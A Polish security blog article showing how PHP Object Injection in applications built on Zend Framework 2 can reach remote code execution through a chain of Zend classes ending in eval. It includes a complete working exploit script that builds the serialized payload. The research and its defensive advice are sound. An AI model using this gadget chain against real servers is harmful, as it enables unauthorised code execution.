MEGA sekurak hacking party już 13. czerwca – zdobądź bilety tutaj.

PHP Object Injection i ZendFramework2

24 sierpnia 2015, 09:24 | Teksty | komentarzy 5

Podatność PHP Object Injection jest już czytelnikom Sekuraka znana; opisywaliśmy ją rok temu, pokazując na przykładzie błędu tego typu w Joomli jak doprowadzić do usuwania dowolnego pliku na dysku. Tym razem przedstawimy nasz autorski research, w jaki sposób można wykorzystać tę podatność do wykonania dowolnego kodu, jeśli odnajdziemy ją w aplikacji korzystającej z bardzo popularnego frameworka dla PHP: Zend.

Krótkie przypomnienie

W telegraficznym skrócie, podatność PHP Object Injection wiązała się z wywołaniem funkcji unserialize() z danymi pochodzącymi od użytkownika. Dzięki temu atakujący mógł zainicjalizować dowolne klasy w podatnym kodzie, a także – przy odrobinie szczęścia – wpłynąć na przepływ działania programu. Było to możliwe dzięki magicznym metodom wywoływanym automatycznie przez PHP w pewnych sytuacjach. W kontekście tego artykułu będą nas interesować konkretnie następujące metody:

  • __destruct() – wywoływana w momencie niszczenia obiektu (destruktor),
  • __toString() – wywoływana, gdy dana klasa musi zostać zinterpretowana jako string (np. w przypadku porównania $obj == „abc”),
  • __call() – wywoływana, gdy próbowano odwołać się do metody nieistniejącej w danej klasie. Na przykład: załóżmy, że próbujemy wykonać $obj->jakasMetoda(„abc”), jednak jakasMetoda() nie jest zdefiniowana dla klasy kryjącej się pod zmienną $obj. PHP spróbuje wówczas wywołać metodę __call(„jakasMetoda”, array(„abc”)).

Exploitujemy Zenda!

W przykładzie użyty jest Zend w wersji 2.3.3. Działanie poszczególnych klas może się minimalnie różnić w innych wersjach, ale ogólny przepływ działania powinien być taki sam dla dowolnej wersji Zenda w wersjach 2.x.

Spójrzmy zatem co ciekawego kryją w sobie klasy Zenda. Jak to zazwyczaj bywa, zaczynamy od destruktorów. Najpierw destruktor klasy \Zend\Http\Response\Stream

    public function __destruct()
    {
        if (is_resource($this->stream)) {
            $this->stream = null; //Could be listened by others
        }
        if ($this->cleanup) {
            ErrorHandler::start(E_WARNING);
            unlink($this->streamName);
            ErrorHandler::stop();
        }
    }

Wygląda nieźle :) Jeśli $this->cleanup będzie równe true, wówczas wykona się unlink() (czyli usuwanie pliku na dysku) dla ścieżki pobranej z $this->streamName. Już samo usuwanie plików jest niezłą podatnością samą w sobie, ale w tym przypadku zwracam uwagę na ten kod z innego powodu – mianowicie argumentem dla funkcji unlink() musi być zmienna znakowa, zatem jeśli podstawimy pod $this->streamName jakąś klasę, zostanie w niej wykonane __toString().  Co z kolei prowadzi nas do klasy \Zend\Tag\Cloud:

public function __toString()
    {
        try {
            $result = $this->render();

Spójrzmy w takim razie na render():

    public function render()
    {
        $tags = $this->getItemList();
        if (count($tags) === 0) {
            return '';
        }
        $tagsResult  = $this->getTagDecorator()->render($tags);
        $cloudResult = $this->getCloudDecorator()->render($tagsResult);
        return $cloudResult;
    }

W Zendzie stosowane są gettery i settery, toteż getItemList() zwraca $this->tags, zaś getTagDecorator() zwraca $this->tagDecorator. Powyższy kod pozwala w takim razie wykonać metodę render() dla klasy kryjącej się pod $this->tagDecorator przekazując jako argument $this->tags.

Metodę render() odnajdujemy w klasie \Zend\View\Renderer\PhpRenderer.

    public function render($nameOrModel, $values = null)
    {
        if ($nameOrModel instanceof Model) {

Pamiętamy, że mieliśmy kontrolę nad tym, jaki argument jest przesyłany do tej funkcji. Na samym początku ciała funkcji jest sprawdzenie czy $nameOrModel (czyli nasz argument) jest instancją klasy Model. Zadbamy o to, by tak nie było, a więc pomińmy ten blok kodu i patrzymy dalej:

        $this->addTemplate($nameOrModel);

Wykonana zostanie funkcja addTemplate()

    public function addTemplate($template)
    {
        $this->__templates[] = $template;
        return $this;
    }

… która po prostu dopisuje do tablicy $this->__templates argument, który został do niej przekazany.

Wracamy do render():

        while ($this->__template = array_pop($this->__templates)) {
            $this->__file = $this->resolver($this->__template);

Pobierany jest ostatni element z tablicy $this->templates, a następnie jest on przekazywany do metody resolver(). Zobaczmy czym ta metoda się zajmuje.

    public function resolver($name = null)
    {
        if (null === $this->__templateResolver) {
            $this->setResolver(new TemplatePathStack());
        }
        if (null !== $name) {
            return $this->__templateResolver->resolve($name, $this);
        }

Tym razem wywoływana jest metoda resolve() na obiekcie kryjącym się pod $this->__templateResolver. Tradycyjnie szukalibyśmy jakiejś ciekawej klasy zawierającej resolve(), wyjątkowo jednak zastosujemy inne podejście… Gdybyśmy pod $this->__templateResolver schowali instancję tej samej klasy, na którą teraz patrzymy (a więc \Zend\View\Renderer\PhpRenderer), silnik PHP nie odnalazłby metody resolve() – bowiem nie jest ona zdefiniowana – dlatego wywołałby magiczną metodę __call().

    public function __call($method, $argv)
    {
        if (!isset($this->__pluginCache[$method])) {
            $this->__pluginCache[$method] = $this->plugin($method);
        }
        if (is_callable($this->__pluginCache[$method])) {
            return call_user_func_array($this->__pluginCache[$method], $argv);
        }
        return $this->__pluginCache[$method];
    }

Mamy wykonanie funkcji call_user_func_array(), w której mamy kontrolę nad pierwszym parametrem, co oznacza, że możemy wywołać dowolną metodę w dowolnej klasie. Szczęśliwie – ze względu na wcześniejszy przepływ programu – mamy też kontrolę nad pierwszym argumentem przekazywanym do tej funkcji!

Wydawałoby się, że w tym momencie moglibyśmy po prostu odpalić system() lub assert(), ale, z przyczyn nie do końca dla mnie jasnych, takie rozwiązanie nie zadziałało.

Z ratunkiem przychodzi jednak sam Zend i klasa \Zend\Serializer\Adapter\PhpCode z interesującą metodą unserialize():

    public function unserialize($code)
    {
        ErrorHandler::start(E_ALL);
        $ret  = null;
        // This suppression is due to the fact that the ErrorHandler cannot
        // catch syntax errors, and is intentionally left in place.
        $eval = @eval('$ret=' . $code . ';');

Nie mogło być lepiej – wywoływany jest eval() z argumentem przekazywanym do funkcji.

Tym samym udało nam się odnaleźć ciąg klas w Zendzie, który doprowadził do wykonania dowolnego kodu PHP.

Teraz należy połączyć wszystkie klocki w jedno i napisać kod, który zbuduje odpowiedni łańcuch klas, zgodnie z powyższym opisem. W poniższym przykładzie exploit wykona funkcję phpinfo().

<?php
namespace Zend\Tag {
	class Cloud {
		protected $tags = "phpinfo()";
		protected $tagDecorator;
		function __construct() {
			$this->tagDecorator = new \Zend\View\Renderer\PhpRenderer();
		}
	}
}

namespace Zend\Serializer\Adapter { class PhpCode { } }

namespace Zend\View\Renderer {
	class PhpRenderer {
		private $__pluginCache;
		private $__templateResolver;
		function __construct($i=0) {
			switch ($i) {
				case 0: $this->__templateResolver = new \Zend\View\Renderer\PhpRenderer(1); break;
				case 1: $this->__pluginCache = array("resolve" => array(new \Zend\Serializer\Adapter\PhpCode(), "unserialize")); break;
			}

		}
	}
}
namespace Zend\Http\Response {
	class Stream {
		protected $cleanup = true;
		protected $streamName;
		function __construct() {
			$this->streamName = new \Zend\Tag\Cloud();
		}
	}
}

namespace Exploit {

$x = new \Zend\Http\Response\Stream();
var_dump($x);
echo urlencode(base64_encode(serialize($x)))."\n\n";
}

Aby upewnić się, że kod rzeczywiście zadziała, wziąłem prostą, przykładową aplikację w Zendzie (ZF2 Skeleton Application) i dopisałem w niej jedną linię kodu…

unserialize(base64_decode($_GET["x"]));

Na (Rys 1.) pokazuję zaś, że w istocie phpinfo() zostanie wykonane w wyniku wykorzystania Object Injection.

Rys 1. phpinfo() przez deserializację

Rys 1. phpinfo() przez deserializację

Podsumowanie

Pokazaliśmy, że podatność PHP Object Injection w aplikacji korzystając z frameworka Zend może zostać wykorzystana do wykonania dowolnego kodu PHP po stronie serwera.

Należy zaznaczyć, że nie jest to problem bezpieczeństwa samego Zenda – klasy, które zostały użyte w łańcuchu są używane w frameworku do realizacji jego zwykłych funkcjonalności. To programiści aplikacji webowych muszą pamiętać, aby nigdy nie uruchamiać funkcji unserialize() na niezaufanych danych.

Michał Bentkowski, realizuje testy penetracyjne w Securitum.

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. Q

    Warto dodać że to dotyczy wszystkich języków programowania (no prawie wszystkich) i leniwych „programistów”. Dlatego warto serializować/deserializować dane do formatów typu JSON/XML/CHGW za pomocą metod do tego przeznaczonych.

    Odpowiedz
  2. Sebastian

    A kto napisał ten art?

    Odpowiedz

Odpowiedz na Sebastian